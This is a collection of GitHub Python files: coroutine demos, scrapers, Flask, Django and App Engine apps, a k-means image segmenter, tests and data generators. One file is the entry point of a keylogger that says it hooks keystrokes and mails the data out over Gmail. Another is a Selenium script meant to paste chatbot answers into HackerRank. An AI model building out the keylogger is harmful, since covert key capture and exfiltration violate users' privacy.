+{"seq_id":"37909475263","text":"# def simple_coroutine():\n# \tfor i in range(3):\n# \t\tx = yield i + 1\n# \t\tprint('从调用方获取数据:{}.'.format(x))\n#\n# my_coro = simple_coroutine()\n# first = next(my_coro)\n# for i in range(5):\n# \ttry:\n# \t\ty = my_coro.send(i)\n# \t\tprint('从生成器获取的数据:{}.'.format(y))\n# \texcept StopIteration:\n# \t\tprint('生成器的数据拉取完毕.')\n#\n# print('生成器最初获取的数据是:{}.'.format(first))\n\n# from inspect import getgeneratorstate\n# from time import sleep\n# import threading\n#\n# def get_state(coro):\n# \tprint('其他线程生成器的状态:{}'.format(getgeneratorstate(coro)))\n#\n# def simple_coroutine():\n# \tfor i in range(3):\n# \t\tsleep(0.5)\n# \t\tx = yield i + 1\n#\n# my_coro = simple_coroutine()\n# print('生成器的初始状态:{}'.format(getgeneratorstate(my_coro)))\n# first = next(my_coro)\n# for i in range(5):\n# \ttry:\n# \t\tmy_coro.send(i)\n# \t\tprint('主线程生成器的初始状态:{}'.format(getgeneratorstate(my_coro)))\n# \t\tt = threading.Thread(target=get_state, args=(my_coro,))\n# \t\tt.start()\n# \texcept StopIteration:\n# \t\tprint('生成器的数据拉取完毕.')\n#\n# print('生成器的最后状态:{}'.format(getgeneratorstate(my_coro)))\n\n# def first_gen():\n# \tfor c in 'AB':\n# \t\tyield c\n# \tfor i in range(3):\n# \t\tyield i\n#\n#\n# print(list(first_gen()))\n#\n# def second_gen():\n# \tyield from 'AB'\n# \tyield from range(3)\n#\n#\n# print(list(second_gen()))\n\n# def chain(*args):\n# \tfor i in args:\n# \t\tyield from i\n#\n# s = 'ABC'\n# t = tuple(range(3))\n# print(list(chain(s, t)))\n\nfrom collections import Iterable\n\ndef flatten(items, ignore_types=(str, bytes)):\n\tfor x in items:\n\t\tif isinstance(x, Iterable) and not isinstance(x, ignore_types):\n\t\t\tyield from flatten(x)\n\t\telse:\n\t\t\tyield x\n\n# items = [1, 2, [3, 4, [5, 6], 7], 8]\n# for i in flatten(items):\n# \tprint(i)\n\n# items = ['bobby', 'lucy', ['Bob', ['Soul', 'Hope'], 'Jerk', 'Asshole', ['Amazing'], 'No'], 'END']\n# for i in flatten(items):\n# \tprint(i)\n\n# def my_Sum(items):\n# \tyield sum(items)\n#\n# def main(*args):\n# \tfor i in args:\n# \t\tif isinstance(i, Iterable) and not isinstance(i, str):\n# \t\t\tyield from my_Sum(i)\n#\n# l = [1, 2, 3, 4, 5]\n# print(list(main(l, l, l)))\n\nfrom collections import namedtuple\n\nResult = namedtuple('Result', 'count average')\n\ndef averager():\n\t# 计算平均值\n\ttotal = 0.0\n\tcount = 0\n\taverage = None\n\twhile True:\n\t\tterm = yield\n\t\tif term is None:\n\t\t\tbreak\n\t\ttotal += term\n\t\tcount += 1\n\t\taverage = total/count\n\treturn Result(count=count, average=average)\n\ndef grouper(result, key):\n\t# 委托生成器\n\twhile True:\n\t\tresult[key] = yield from averager()\n\ndef main(data):\n\tresults = {}\n\tfor key, values in data.items():\n\t\tgroup = grouper(results, key)\n\t\tnext(group)\n\t\tfor value in values:\n\t\t\tgroup.send(value)\n\t\tgroup.send(None)\n\treport(results)\n\ndef report(results):\n\t# 输出数据\n\tfor key, result in sorted(results.items()):\n\t\tgroup, unit = key.split(\";\")\n\t\tprint('{:2} {:5} averaging {:.2f}{}'.format(result.count, group, result.average, unit))\n\ndata = {\n\t'girls;kg': [40.9, 38.5, 44.3],\n\t'girls;m': [1.6, 1.51, 1.4],\n\t'boys;kg': [39.0, 40.8],\n\t'boys;m': [1.38, 1.5],\n}\n\nif __name__ == '__main__':\n\tmain(data)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"pntehan/The-higher-study-about-python","sub_path":"Coroutine_demo.py","file_name":"Coroutine_demo.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18439597009","text":"from json import JSONEncoder\nfrom datatypes import RankedSession, RankedMatch, GameResult\n\nclass RankedSessionEncoder(JSONEncoder):\n    def default(self, o):\n        if isinstance(o, RankedSession):\n            return o.__dict__\n        elif isinstance(o, RankedMatch):\n            return o.__dict__\n        elif isinstance(o, GameResult):\n            return o.name\n        else:\n            return JSONEncoder.default(self, o)","repo_name":"jmarkman/sf5-ranked-data-reader","sub_path":"encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29374449699","text":"def solve_equation(a1, b1, c1, a2, b2, c2):\n    determinant = a1 * b2 - a2 * b1\n\n    if determinant == 0:\n        print(\"El sistema de ecuaciones no tiene solución única.\")\n        return\n\n    x = round((b2 * c1 - b1 * c2) / determinant, 1)\n    y = round((a1 * c2 - a2 * c1) / determinant, 1)\n\n    print(f\"x={x}\")\n    print(f\"y={y}\")\n\n# Ejemplo de uso\nsolve_equation(2, 3, 6, 1, 2, 5)","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej9/hito1_ej9_d4b426179e6bb8cade64ec3880207a20.py","file_name":"hito1_ej9_d4b426179e6bb8cade64ec3880207a20.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27638248264","text":"'''\nPyKeyLogger is an educational project with non malicious intent\n\nFeatures\n\t1- Logging All Keys (even the control keys)\n\t2- Sending The Collected Data over gmail (encrypted files)\n\t3- Lowlevel hooks for keys logging\n'''\n\nfrom Hooks import *\nhook.install_hook(ptr)\nmsg = MSG()                             # MSG data structure\nuser32.GetMessageA(byref(msg), 0, 0, 0) # Wait for messages to be posted\n","repo_name":"MedAliMarz/KeyLogger-Implementation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"23696437998","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urljoin\n\n#Making GET request\nbase_url = \"https://en.wikipedia.org/wiki/Music\"\n\nresponse = requests.get(base_url)\n\nif response.status_code:\n    html = response.content\n\n    #Making the soup\n    soup = BeautifulSoup(html, \"html.parser\")\n\n    links = soup.find_all('a')\n    \n    link = links[26]\n    link_value = link.string\n    link_href = link.get('href')\n\n    #Making full url\n    link_full_url = urljoin(base_url, link_href)\n    print(link_full_url)\n\n    #Processing multiple links at once\n    for item in links:\n        item_value = item.string\n        item_url = urljoin(base_url, item.get('href'))\n        # print(item_value, item_url)\n\n    #using list comprehension\n    clean_links = [link.get('href') for link in links if link.get('href') is not None]\n    \n    full_urls = [urljoin(base_url, clean_url) for clean_url in clean_links]\n    print(full_urls)\n\n    #getting internal links\n    internal_links = [url for url in full_urls if 'wikipedia.org' in url]\n    print(internal_links)","repo_name":"ptyadana/Web-Scraping-and-API-in-Python","sub_path":"05.Web Scraping with Beautiful Soup/scraper4_dealing_links.py","file_name":"scraper4_dealing_links.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"77"}
+{"seq_id":"42174736642","text":"from flask import Flask, request, session, g, redirect, url_for, abort, render_template, flash, Response, jsonify\nimport json\nimport rodovias\nimport copy\n\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef root():\n    return render_template('index.html')\n\n\nlista = rodovias.render_csv('estradas_distancias.csv')\ndit = rodovias.create_dict(lista)\ngraph = rodovias.create_graph(dit)\n\n@app.route(\"/shortest/<int:a>/<int:b>\")\ndef shortest(a,b):\n\tgraph_copy = copy.deepcopy(graph)\n\tpath = rodovias.shortest_path(graph_copy,a,b)\n\treturn jsonify(path)\n\n\nif __name__ == \"__main__\":\n    app.run(port=8000, debug=True)","repo_name":"elisamussumeci/dijkstra-usa-roads","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1667091875","text":"import webapp2\n\nimport os\nimport jinja2\nfrom google.appengine.ext import ndb\n\njinja_environment = jinja2.Environment(autoescape=True,\n                                       loader=jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__))))\n\n\nclass Movie(ndb.Model):\n    title = ndb.StringProperty()\n    year = ndb.IntegerProperty()\n    rated = ndb.StringProperty()\n    director = ndb.StringProperty()\n\nMovie1 = Movie(title='The Departed',year=2006,rated='R',director=\"Martin Scorsese\")\nMovie1.key =  ndb.Key('Movie', 'Action')\nMovie1.put()\nMovie2 = Movie(title='The Hero',year=2011,rated='R',director=\"Robert Hanson\")\nMovie2.key =  ndb.Key('Movie', 'Comedy')\nMovie2.put()\nMovie3 = Movie(title='The Zero',year=2016,rated='R',director=\"Tom Hank\")\nMovie3.key =  ndb.Key('Movie', 'Cartoon')\nMovie3.put()\nMovie4 = Movie(title='Hangover',year=2010,rated='R',director=\"Martin Joker\")\nMovie4.key =  ndb.Key('Movie', 'SciFi')\nMovie4.put()\nMovie5 = Movie(title='Jason Bourne',year=2016,rated='R',director=\"Joseph Scorsese\")\nMovie5.key =  ndb.Key('Movie', 'Animation')\nMovie5.put()\n\n\n\n\nclass MainPage(webapp2.RequestHandler):\n\n    def get(self):\n        test = Movie()\n        # test.populate(\n        #     title='The Departed',\n        #     year='2006',\n        #     rated='R',\n        #     director=\"Martin Scorsese\"\n        # )\n        #\n        # test.key = ndb.Key('Movie', test.director)\n        # k = test.key\n        # getID = k.id()\n        #\n        # test.put()\n        # testkey = test.key\n        # testid = testkey.id()\n        template = jinja_environment.get_template('index.htm')\n\n    # #updateing stuff\n    #     updatekey = \"Martin Scorsese\"\n    #     k = ndb.Key('Movie', updatekey)\n    #     e = k.get()\n    #     # print(e)\n    #     e.director = \"Steve Jobs\"\n    #     e.put()\n    #     print(e)\n\n\n        #retrieving works\n        context = {\n            'id': \"222\",\n            'movieName': test.title,\n            'yearReleased' : test.year,\n            'movieRated' : test.rated,\n            'directorName': test.director\n        }\n        q = ndb.Movie.query().filter(Movie.year == 2006)\n        results = q.get()\n        for entity in results:\n            print(entity)\n\n\n\n\n\n        deleteid = \"Steve jobs\"\n        y = ndb.Key('Movie', deleteid)\n        y.delete()\n        print(\"deleting stuff\")\n\n        self.response.write(template.render(context))\n\n        query = Movie.query(kind='Movie', order=('-timestamp',))\n\n        results = [\n            'Time: {timestamp} Addr: {user_ip}'.format(**x)\n            for x in query.fetch(limit=10)]\n\n        output = 'Last 10 visits:\\n{}'.format('\\n'.join(results))\n\n    def update(self):\n        temp = ndb.Key('Movie', 'Animation')\n        x = temp.get()\n        x.director = 'Sanjay Shrestha'\n        x.put()\n\n    def post(self):\n        test = Movie()\n        test.title = self.request.get(\"title\")\n        test.year = int(self.request.get(\"year\"))\n        test.rated = self.request.get(\"rated\")\n        test.director = self.request.get(\"director\")\n        test.key = ndb.Key('Movie', test.director)\n        test.put()\n\napplication = webapp2.WSGIApplication([\n    ('/',MainPage),\n], debug=True)\n\n","repo_name":"ss42/googleappengineCRUD","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27649314918","text":"from django import forms\nfrom MySite.models import UserModel\n\n\nclass NameForm(forms.Form):\n    user_name = forms.CharField(label='姓名', max_length=20)\n\n\nclass ContactForm(forms.Form):\n    subject = forms.CharField(label='主题', label_suffix=':',widget=forms.TextInput(attrs={\n        'style':'width:440px','maxlength':'100'}))\n    message = forms.CharField(label='消息', label_suffix=':', widget=forms.Textarea(attrs={\n        'cols':'60','rows':'10'}))\n    sender = forms.EmailField(label='发送人', help_text='请输入正确的邮箱！', label_suffix=':')\n    cc_myself = forms.BooleanField(label='是否抄送自己', label_suffix=':', required=False)\n\n\nclass FileMailForm(forms.Form):\n    addresses = forms.CharField(label='收件地址', help_text='多个收件地址请使用逗号“,”分割', label_suffix=':',\n                                widget=forms.TextInput(attrs={'style':'width:440px', 'maxlength': '100'}))\n    subject = forms.CharField(label='邮件标题', label_suffix=':',widget=forms.TextInput(attrs={\n        'style': 'width:440px',\n        'maxlength': '100'\n    }))\n    message = forms.CharField(label='邮件内容', label_suffix=':', widget=forms.Textarea(attrs={\n        'cols': '60',\n        'rows': '10'\n    }))\n    file = forms.FileField(label='添加附件', label_suffix=':',required=False)\n    cc_myself = forms.BooleanField(label='抄送自己', label_suffix='：', required=False)\n\nclass TextEmailForm(FileMailForm):\n    file = None\n\n\n\nclass RegisterForm(forms.ModelForm):\n    class Meta:\n        model = UserModel\n        fields = '__all__'\n        widgets = {\n            'password':forms.PasswordInput()\n        }\n        labels = {\n            'name':'芳名'\n        }\n        help_texts = {\n            'birthday':('日期格式为：2018-12-01')\n        }\n        error_messages = {\n            'name':{'max_length':('名字太长！！')}\n        }\n        # fields = ['email','name','age','password','ip']\n        exclude = ['birthday'] # 排除birthday字段\nRegisterForm = forms.modelform_factory(UserModel,fields=('email','age','name'))\nRegisterFormSet = forms.formset_factory(FileMailForm, extra=5)","repo_name":"lbemi/MyWeb","sub_path":"MySite/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"71223252090","text":"# -*- coding: utf-8 -*-\nimport csv\n\nreader = csv.reader(open(\"../multas.csv\"), delimiter=\";\")\n\nfirst_line = \"#,INCIDENT TITLE,INCIDENT DATE,LOCATION,DESCRIPTION,CATEGORY,APPROVED,VERIFIED\\n\"\n\nout = open(\"../multas_ushahidi.csv\", \"w\")\nout.write(first_line)\n\n#\"1\",\"Amenazas en Parque Hernandez\",\"2009-05-15 01:06:00\",\"Santa  Tecla\",\"Amenazas a comerciantes, etc, etc\",\"AMENAZAS\",YES,YES\n#exp; sancionado; dni; localidad; fecha; matricula; euros; precepto; articulo; puntos; observaciones\n#020044066564;EL FARH , ABDELKADER;X4297581P;LA RODA;2011-05-22;M 6448MP;1500.00;RDL 8/2004;003.A;0;a\nline = \"%d, \\\"%s\\\", \\\"%s\\\", \\\"%s\\\", \\\"%s\\\", \\\"%s\\\", %s, %s\\n\"\n\ni = 0\nreader.next()\nfor row in reader:\n    i += 1\n    out.write( line % (i, row[7]+\" \"+row[8], row[4], row[3]+\",Spain\", row[6]+\" €, \"+row[9]+\" puntos\", row[7], \"YES\", \"YES\") )\n","repo_name":"crispamares/multas","sub_path":"data/src/ushahidi.py","file_name":"ushahidi.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"12627854694","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\n\ndriver = webdriver.Chrome()\n\n\n\ndef get_problems():\n    problems = []\n    driver.get('https://www.hackerrank.com/domains/python?filters%5Bstatus%5D%5B%5D=unsolved')\n    scroll_down()\n    elements = driver.find_elements(By.CLASS_NAME,'js-track-click')\n\n    time.sleep(5)\n\n    for element in elements:\n        problems.append(element.get_attribute('href'))\n\n    return problems\n\ndef solve_problem(prompt):\n    solution=None\n    driver.get('https://poe.com/Claude-instant')\n    element= driver.find_element(By.CLASS_NAME,(\"ChatMessageInputView_textInput__Aervw\"))\n    element.clear()\n    element.send_keys(prompt)\n    \n    return solution\n     \n\n\n\ndef scroll_down():\n\n    # Get scroll height.\n    last_height = driver.execute_script(\"return document.body.scrollHeight\")\n\n    while True:\n\n        # Scroll down to the bottom.\n        driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n\n        # Wait to load the page.\n        time.sleep(2)\n\n        # Calculate new scroll height and compare with last scroll height.\n        new_height = driver.execute_script(\"return document.body.scrollHeight\")\n\n        if new_height == last_height:\n\n            break\n\n        last_height = new_height\n\n\n\nprint(get_problems())\n\"\"\"\n\nAlgorithm:\n    start the driver\n    go to the hackerrank\n    load the problems\n    loop through all problems:\n        copy a problem\n        go to poe.com\n        paste the problem\n        copy the solution\n        back to hackerrank\n        paste the solution\n    close driver\n\n\"\"\"","repo_name":"mohammed377/DigitalMarket","sub_path":"media/products_files/rank_scrape.py","file_name":"rank_scrape.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20130512063","text":"#!/usr/bin/env python\n\nimport svbatcher.tests.constants as const\nimport svbatcher.utils.io as io\nimport random\nimport os\n\nSEED = 0\nCOHORT_SIZE = const.TEST_COHORT_SIZE\n\nWGD_FILE_LIST_PATH = const.WGD_FILE_LIST_PATH\nSEX_FILE_LIST_PATH = const.SEX_FILE_LIST_PATH\nCOVERAGE_FILE_PATH = const.COVERAGE_FILE_PATH\nWGD_FILE_PATH = const.WGD_FILE_PATH\nSEX_FILE_PATH = const.SEX_FILE_PATH\n\nCOVERAGE_MIN = 20.0\nCOVERAGE_MAX = 50.0\nWGD_MIN = -1.0\nWGD_MAX = 1.0\nSEX_MALE_STR = io.SEX_ASSIGNMENT_MALE_STRING\nSEX_FEMALE_STR = io.SEX_ASSIGNMENT_FEMALE_STRING\nSEX_OTHER_STR = \"OTHER\"\n\nPROB_MALE = 0.49\nPROB_FEMALE = 0.49\nPROB_OTHER = 1.0 - PROB_MALE - PROB_FEMALE\n\nNUM_COVERAGE_FIELDS = 2\nCOVERAGE_VALUE_FIELD = 1\nNUM_WGD_FIELDS = 2\nWGD_VALUE_FIELD = 1\nNUM_SEX_FIELDS = 8\nSEX_VALUE_FIELD = 3\n\nCOVERAGE_HEADER = \"\\t\".join([io.HEADER_SYMBOL + io.COHORT_SAMPLE_ID_COLUMN_NAME, io.COHORT_COVERAGE_COLUMN_NAME]) + \"\\n\"\nWGD_HEADER = \"\\t\".join([io.HEADER_SYMBOL + io.WGD_SAMPLE_COLUMN_NAME, io.WGD_SCORE_COLUMN_NAME]) + \"\\n\"\nSEX_HEADER = \"\\t\".join([io.HEADER_SYMBOL + io.SEX_ASSIGNMENT_SAMPLE_COLUMN_NAME, \"chrX.CN\", \"chrY.CN\", io.SEX_ASSIGNMENT_SEX_COLUMN_NAME, \"pMos.X\", \"pMos.Y\", \"qMos.X\", \"qMos.Y\"]) + \"\\n\"\nEMPTY_FIELD_STR = \"na\"\n\n\ndef get_random_sex():\n    r = random.random()\n    if r < PROB_MALE:\n        return SEX_MALE_STR\n    if r < PROB_FEMALE + PROB_MALE:\n        return SEX_FEMALE_STR\n    return SEX_OTHER_STR\n\n\ndef generate_data():\n    random.seed(SEED)\n    sample_ids = []\n    coverage = []\n    wgd = []\n    sex = []\n    for i in range(COHORT_SIZE):\n        sample_ids.append(\"sample_\" + str(i))\n        coverage.append(random.uniform(COVERAGE_MIN, COVERAGE_MAX))\n        wgd.append(random.uniform(WGD_MIN, WGD_MAX))\n        sex.append(get_random_sex())\n    return sample_ids, coverage, wgd, sex\n\n\ndef write_list(file_path, list):\n    with open(file_path, 'w') as f:\n        for item in list:\n            f.write(item + \"\\n\")\n\n\ndef write_tsv(file_path, sample_ids, values, num_fields, value_field, header):\n    with open(file_path, 'w') as f:\n        f.write(header)\n        for i in range(len(sample_ids)):\n            fields = []\n            for j in range(num_fields):\n                if j == 0:\n                    fields.append(sample_ids[i])\n                elif j == value_field:\n                    fields.append(str(values[i]))\n                else:\n                    fields.append(EMPTY_FIELD_STR)\n            f.write(\"\\t\".join(fields) + \"\\n\")\n\n\ndef generate_and_write_files():\n    sample_ids, coverage, wgd, sex = generate_data()\n    write_list(WGD_FILE_LIST_PATH, [WGD_FILE_PATH])\n    write_list(SEX_FILE_LIST_PATH, [SEX_FILE_PATH])\n    write_tsv(COVERAGE_FILE_PATH, sample_ids, coverage, NUM_COVERAGE_FIELDS, COVERAGE_VALUE_FIELD, COVERAGE_HEADER)\n    write_tsv(WGD_FILE_PATH, sample_ids, wgd, NUM_WGD_FIELDS, WGD_VALUE_FIELD, WGD_HEADER)\n    write_tsv(SEX_FILE_PATH, sample_ids, sex, NUM_SEX_FIELDS, SEX_VALUE_FIELD, SEX_HEADER)\n\n\ndef delete_files():\n    os.remove(WGD_FILE_LIST_PATH)\n    os.remove(SEX_FILE_LIST_PATH)\n    os.remove(COVERAGE_FILE_PATH)\n    os.remove(WGD_FILE_PATH)\n    os.remove(SEX_FILE_PATH)\n","repo_name":"mwalker174/svbatcher","sub_path":"svbatcher/tests/cohort_generator.py","file_name":"cohort_generator.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41343174294","text":"'''\n    @Author: Surajit Kundu\n    @Email: surajit.113125@gmail.com\n    @Defination: This code is written for segmenting the 2-d gray images using k-means algorithm. \n    We mainly focus on segmenting the DICOM images. Although it can be applicable on other images\n\n'''\n\n## import the required libraries\nfrom numpy import dot\nfrom numpy.linalg import norm\nimport math\nfrom pydicom import dcmread\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n## define the class\nclass KMeans:  \n    def __init__(self, metric='euclidean', K=2):\n        \"\"\"\n            @Defination:\n                Creating a parameterized constructer.\n            @Input:\n                distance > Which distance matrix is used for clustering\n                K > number of clusteres\n        \"\"\"          \n        self.metric = metric\n        self.K = K\n        self.distance_matrices = {'euclidean': self.euclidean, 'cosine': self.cosine}\n    '''\n        Defining all distance functions below\n    '''\n    def euclidean(self, point, centroids):\n        \"\"\"\n            @Defination:\n                Calculating the euclidean distances from a pixel to all centroids\n            @Input:\n                point > pixel value in 1-d\n                centroids > K number of centroids\n            @Return:\n                np.array(distances) > euclidean distances from the given point to all the centroids\n        \"\"\"          \n        distances = []\n        for i in centroids:\n            dist = np.sqrt(np.sum((point-i)**2))\n            distances.append(dist)\n        return np.array(distances)\n\n    def cosine(self, point, centroids):\n        \"\"\"\n            @Defination:\n                Calculating the cosine distances from a pixel to all centroids\n            @Input:\n                point > pixel value in 1-d\n                centroids > K number of centroids\n            @Return:\n                cos_sim > cosine distances from the given point to all the centroids                \n        \"\"\"         \n        cos_sim = dot(point, centroids)/(norm(point)*norm(centroids))\n        return cos_sim\n\n    def cluster(self, train_data, points):\n        \"\"\"\n            @Defination:\n                Clustering the pixels of a image\n            @Input:\n                train_data > all pixels in 1-d\n                points > K number of centroids\n            @Return:\n                clusters, indeces > return the clustered pixels and corresponding index values               \n        \"\"\"          \n        ## Initilizing K-d array\n        clusters = [[] for _ in range(self.K)]\n        indeces = [[] for _ in range(self.K)]\n        #print(\"points \", points)\n        counter = 0\n        ## Finding distance from each pixel data\n        for single_pixel in train_data:\n            ## finding distance from a single point to k points using the selected distance metric. Ex. single_pixel=23, points = [2, 4, 9] \n            distances = self.distance_matrices[self.metric](single_pixel, points)\n            ## taking the index value having minimum distance\n            min_distance_index = np.argmin(distances)\n            ## storing the pixel value into the belonging cluster\n            clusters[min_distance_index].append(single_pixel)\n            ## Storing the index value of the corresponding pixel\n            indeces[min_distance_index].append(counter)\n            counter = counter+1\n        clusters = np.array(clusters)\n        ## taking the mean of each cluster\n        means = [np.mean(i) for i in clusters]\n        ## mean equals to the clustering k porints (mean after the next iteration remains same)\n        if(np.array(points).all()==np.array(means).all()):\n            print(\"Final Centroids\", means)\n            return clusters, indeces\n        else:\n            ## If mean varies after the clustering\n            self.cluster(train_data, means)   \n\n    def clusteredImages(self, image_1d, shape=(1,1), centroids='random'):\n        \"\"\"\n            @Defination:\n                form the clustered images after the clustering\n            @Input:\n                image_1d > all pixels in 1-d\n                shape > shape of actual 2-d image\n                centroids > Initilization of centroids\n            @Return:\n                clustered_images > return all the clustered images               \n        \"\"\"      \n        if len(image_1d.shape) >1: \n            image_1d = self.convertToGray1D(image_1d)\n        ## Randomly k number of points for k-means clustering if centroids are not set\n        points = np.random.choice(image_1d[image_1d>0], size=(self.K,1)) if centroids == 'random' else centroids\n        #points = np.array([np.sum(image1d)/len(image1d), np.sum(image1d)/len(image1d)*2, np.sum(image1d)/len(image1d)*4])\n        #points = np.array([math.log(np.sum(image1d),np.sqrt(np.mean(image1d))), np.mean(image1d)*2, np.max(image1d)*0.88])\n        print(\"Initial Controids\", points)\n        ## getting the clustered value and corresponding indeces\n        clusters, indeces = self.cluster(image_1d, points)\n        clustered_images = []\n        # iterating all clusters 1 to k\n        for i in range(self.K):\n            img = []\n            # creating a 1-d images with all zero pixels\n            for p in range(len(image_1d)):\n                img.insert(p, 0)\n            # replaceing the value with actual pixels as achived after clustering\n            for c in range(len(indeces[i])):\n                img[indeces[i][c]] = clusters[i][c]\n            ## Reshaping the images with actual size\n            img = (np.reshape(np.array(img), shape))\n            clustered_images.append(img)\n        ## return the clustered images\n        return clustered_images   \n\n    def convertToGray1D(self, img_array):\n        \"\"\"\n            @Defination:\n                convert 2-d gray image to 1-d\n            @Input:\n                img_array > image pixels in 2-d\n            @Return:\n                np.array(img_arr_1d) > return all pixels in 1-d               \n        \"\"\"         \n        ## convert the image to gray if 3 channel images\n        if len(img_array.shape) == 3:\n            img_array = cv2.cvtColor(img_array, cv2.COLOR_BGR2GRAY)\n        dim = img_array.shape[0]*img_array.shape[1]\n        ## converting from 2-d to 1-d\n        img_arr_1d = np.reshape(img_array,(dim,))\n        return np.array(img_arr_1d)\n\nimport cv2    \nimg = dcmread(\"Sample/2013032202202100000.1.2.15.dcm\")\nimg_arr = img.pixel_array     \n#img_arr = cv2.imread(\"Sample/1.png\", 0)\nkmeans = KMeans(K=3)\nplt.imshow(np.array(img_arr), cmap='gray')\nimages = kmeans.clusteredImages(img_arr, shape=img_arr.shape)\nplt.figure(figsize=(15, 15)) \nfor i in range(len(images)):\n    plt.subplot(1, len(images), i+1)\n    image = np.array(images[i])\n    plt.imshow(image, cmap='gray')\nplt.show()\n","repo_name":"surajitiitkgp/KMeans-image-segmentation","sub_path":"KMeans.py","file_name":"KMeans.py","file_ext":"py","file_size_in_byte":6754,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"32870634625","text":"from fastapi.testclient import TestClient\nfrom myapi import app\nimport json\n\nclient = TestClient(app)\n\n\ndef test_root():\n    response = client.get(\"/\")\n    assert response.status_code == 200\n    assert response.json() == {\"message\": \"Hello World\"}\n\n\n# проверка распознавания на тестовых изображениях\ndef test_predict_cat():\n    filename = \"./tests/fixtures/cat.jpg\"\n    response = client.post(\"/predict\",\n                           files={\"file\": (\"cat.jpg\",\n                                           open(filename, \"rb\"),\n                                           \"image/jpeg\")})\n    predict_response = json.loads(response.content)\n    assert response.status_code == 200\n    assert any('cat' in d for d in predict_response)\n    assert any('image_url' in d for d in predict_response)\n\n\ndef test_predict_elephant():\n    filename = \"./tests/fixtures/elephant.jpg\"\n    response = client.post(\"/predict\",\n                           files={\"file\": (\"elephant.jpg\",\n                                           open(filename, \"rb\"),\n                                           \"image/jpeg\")})\n    predict_response = json.loads(response.content)\n    assert response.status_code == 200\n    assert any('elephant' in d for d in predict_response)\n    assert any('image_url' in d for d in predict_response)\n    tear_down()\n\n\ndef test_predict_sandwich():\n    filename = \"./tests/fixtures/sandwich.jpg\"\n    response = client.post(\"/predict\",\n                           files={\"file\": (\"sandwich.jpg\",\n                                           open(filename, \"rb\"),\n                                           \"image/jpeg\")})\n    predict_response = json.loads(response.content)\n    assert response.status_code == 200\n    assert any('sandwich' in d for d in predict_response)\n    assert any('image_url' in d for d in predict_response)\n    tear_down()\n\n\ndef test_predict_car():\n    filename = \"./tests/fixtures/car.jpeg\"\n    response = client.post(\"/predict\",\n                           files={\"file\": (\"car.jpeg\",\n                                           open(filename, \"rb\"),\n                                           \"image/jpeg\")})\n    predict_response = json.loads(response.content)\n    assert response.status_code == 200\n    assert any('car' in d for d in predict_response)\n    assert any('image_url' in d for d in predict_response)\n    tear_down()\n\n\n# удаление тестовых файлов\ndef tear_down():\n    import os\n    files = [f for f in os.listdir('./static')\n             if os.path.isfile(os.path.join('./static', f))]\n    for file in files:\n        if file == '.gitkeep':\n            continue\n        os.remove(f'./static/{file}')\n","repo_name":"AkininD/Group-14-ML","sub_path":"test_myapi.py","file_name":"test_myapi.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"4598040490","text":"\"\"\"Provide common functions shared among different Python code generation modules.\"\"\"\nimport enum\nimport io\nimport re\nfrom typing import List, cast, Tuple, Optional, Mapping\n\nfrom icontract import ensure, require\n\nfrom aas_core_codegen import intermediate\nfrom aas_core_codegen.common import Stripped, assert_never, Identifier\nfrom aas_core_codegen.python import naming as python_naming\n\n\nclass StringQuoting(enum.Enum):\n    \"\"\"Represent how strings should be quoted as Python literals.\"\"\"\n\n    SINGLE_QUOTES = 0\n    DOUBLE_QUOTES = 1\n\n\n# region Different string escapings\n\n# See: https://python-reference.readthedocs.io/en/latest/docs/str/escapes.html\n_BASE_ESCAPING_IN_PYTHON = {\n    \"\\\\\": \"\\\\\\\\\",\n    \"\\a\": \"\\\\a\",\n    \"\\b\": \"\\\\b\",\n    \"\\f\": \"\\\\f\",\n    \"\\n\": \"\\\\n\",\n    \"\\r\": \"\\\\r\",\n    \"\\t\": \"\\\\t\",\n    \"\\v\": \"\\\\v\",\n}\n\n_ESCAPING_IN_PYTHON_INCLUDING_DOUBLE_QUOTES = {\n    **_BASE_ESCAPING_IN_PYTHON,\n    **{'\"': '\\\\\"'},\n}\n\n_ESCAPING_IN_PYTHON_INCLUDING_DOUBLE_QUOTES_AND_DUPLICATE_CURLY_BRACKETS = {\n    